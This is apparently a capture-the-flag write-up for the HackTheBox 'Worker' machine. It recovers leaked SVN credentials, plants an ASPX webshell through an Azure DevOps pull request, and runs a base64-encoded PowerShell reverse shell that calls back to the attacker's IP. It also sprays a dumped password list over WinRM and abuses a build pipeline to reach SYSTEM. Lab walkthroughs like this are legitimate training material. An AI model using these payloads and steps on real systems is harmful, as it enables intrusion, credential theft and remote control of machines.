A medium box from HackTheBox, get initial acces by finding leaked Azure DevOps credentials in a SVN repo’s commit history, then escalate privileges to a user account by cached passwords in the SVN config files on the victims PC, then get root by making a pipeline function in Azure DevOps that sends a reverse shell as nt authority\system.

Recon

Running the usual nmap

sudo nmap -sC -sV -oA nmap/init 10.10.10.203
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Then running further enumeration in the background to scan all ports, see WinRM on port 5985

sudo nmap -T4 -p- 10.10.10.203

...
5985/tcp open  wsman
...

See a Subversion instance running on the target, and find that the repo doesn’t need creds to download it

svn co 10.10.10.203

The downloaded file name is called “dimensions.worker.htb” so its safe to say that that is the websites domain name, add it to /etc/hosts

Navigating to the site, it has a link to more sites, story.worker.htb, spectral.worker.htb etc etc - add all of these to /etc/hosts

Now looking at the downloaded files, SVN is not as commonplace as git, but functions in a similar way - probably some leaked creds somewhere in the commit history

Using this cheatsheet, print out the logs of the commits

svn log

------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line


------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------

Looking at it, likely r2 with the deployment script has some credentials

svn up -r2

A    deploy.ps1
Updated to revision 2.

Then catting the file, find the creds

cat deploy.ps1   

$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

nathen:wendel98

Exploitation

With the found creds, can now try to connect to the devops url - and get in

Its an Azure DevOps environment, and our user has code changing privileges, so we can just upload a webshell by creating a branch, then merging it to master

GIt cloning the current master branch of “story” into our working directory

git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/story

Then adding a branch with a webshell at the root

cd story

git branch abc

git checkout abc

Then add a aspx webshell, from here

Copy the file to the story directory, then push the changes

git add .

git commit -m "a"

git push

# Signin with nathen:wendel98

Then in the Azure Devops instance, create a pull request that merges this branch into the master story branch - creating a webshell at the root of the story.worker.htb sub-domain

Using this webshell, get a reverse shell with PowerShell with this one liner script, save it to a local .ps1 file, and change the IP and Port to match the Kali IP and listener port

Now need to execute this script using the webshell by encoding it, first to windows URL encoding then to base64

cat rev.ps1 | iconv -t utf-16le | base64 -w 0

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAA==

Then start a listener on the selected port, mine was 9001

rlwrap nc -lnvp 9001

And then run it via webshell with this

/c powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAA==

And catch the reverse shell!

Now as the iis apppool\defaultapppool user, navigate to the place where the SVN credentials are stored - looking at the DevOps server, the code is stored in

W:\sites\$(Build.Repository.Name).worker.htb

Navigating there, find the SVN repo - since SVN stores credentials, might get lucky and find plaintext creds

Going through the W:\ drive, go into svnrepos, then www, then conf and find a “passwd” file

Cat-ing it out, find a list of creds

PS W:\svnrepos\www\conf> type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

Copying this list over to the kali machine, will try to login with these creds

Using crackmapexec run

poetry run crackmapexec winrm 10.10.10.203 -u users.txt -p pass.txt --no-
bruteforce

...
WINRM       10.10.10.203    5985   NONE             [+] None\robisl:wolves11 (Pwn3d!)
...

And find one cred that works, robisl:wolves11

Using evil-winrm, log into robisl

evil-winrm -i 10.10.10.203 -u robisl -p wolves11

And get a shell as robisl as well as the user flag

Now as robisl, can log into the DevOps server again - and this time the user is an administrator of their repo, and can create pipeline tasks, tasks that are run when the code builds essentially

Since Azure DevOps is required to run as NT SYSTEM, if we can hijack this process to send a reverse shell its an easy privesc method

Going to the pipelines section, can create a new build pipeline, and click on “Use the classic editor” to forego the defaults

Then click continue

Then select “Start with an empty job”

On the next page, agent pool will be blank, click on manage above agent pool and select whatever is there (In this case there is one called setup)

Then click the + icon on the “Agent Job 1”

Then type “PowerShell” in to the search box, and create a powershell script task

Now moving back to the shell that we have as robisl, we need to create a script for the pipeline to run

Navigating to a world readable folder, C:\Windows\temp\

*Evil-WinRM* PS C:\> cd Windows\Temp

Then wget the same PowerShell reverse shell we used to get the initial reverse shell

On the attacking machine, host a python server

python3 -m http.server

Then on the victim

*Evil-WinRM* PS C:\Windows\Temp> wget 10.10.14:5:8000/rev.ps1 -o rev.ps1

Then start a listener on port 9001

Back to the DevOps server, we can now fill in the path to the powershell script, and save + run the pipeline process

When the process finishes running, the shell that you catch on the listener is a root shell

PS C:\Users\administrator\Desktop> whoami 
nt authority\system